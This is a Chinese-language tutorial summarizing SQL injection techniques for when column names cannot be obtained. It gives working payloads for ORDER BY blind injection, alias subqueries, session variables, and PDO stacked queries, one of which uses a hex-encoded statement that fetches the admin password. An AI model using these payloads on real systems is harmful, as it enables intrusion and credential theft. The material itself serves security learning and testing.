首页 > 代码库 > 无列名注入总结
无列名注入总结
这里对无列名注入的方法进行一下总结,主要出现的情况可能是无法获取列名,或者列名被过滤等等,但一般只能获取可注入语句里面对应表的信息。
0x01 盲注
如果注入存在于如下语句,那么就能够使用盲注这种方法
SELECT * FROM USERS WHERE USERNAME=‘$injectdot‘;
这里主要是利用了order by password
来对password
字段进行盲注,通过回显的用户名是admin
还是xxx
来进行判断。
那么payload就是:
injectdot=admin‘ union select 1,‘xxx‘,‘z‘ order by 3#
0x02 别名
这种方法只要存在一个注入就可以了:
SELECT B FROM A WHERE B=‘$injectdot‘;
具体是利用别名的方法,来将数据获取出来。
那么payload如下:
injectdot=‘ union (select c from (select 1,2,3 as c union select * from user ) as b) limit 1,1# 或者 injectdot=‘ union (select c from (select 1,2,3 c union select * from user )b) limit 1,1#
0x03 变量
这种方法需要在同一个页面存在两个注入:
注入点1:SELECT * FROM USERS WHERE USERNAME=‘$injectdot1‘; 注入点2:SELECT * FROM A WHERE B=‘$injectdot2‘;
那么payload为:
injectdot1=admin‘ into @a,@b,@c# injectdot2=‘ union select @c#
0x04 PDO
这种方法需要利用PDO来对数据库进行操作,于是就能够执行多条语句从而进行注入,主要可以利用prepare
和execute
来执行数据库语句,从而绕过很多过滤进行注入。
只要有注入就行:
SELECT B FROM A WHERE C=‘$injectdot‘;
这样payload是:
injectdot=‘;set @a=unhex("73656c6563742070617373776f72642066726f6d207573657220776865726520757365726e616d653d2761646d696e273b");prepare p from @a;execute p;#
无列名注入总结
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。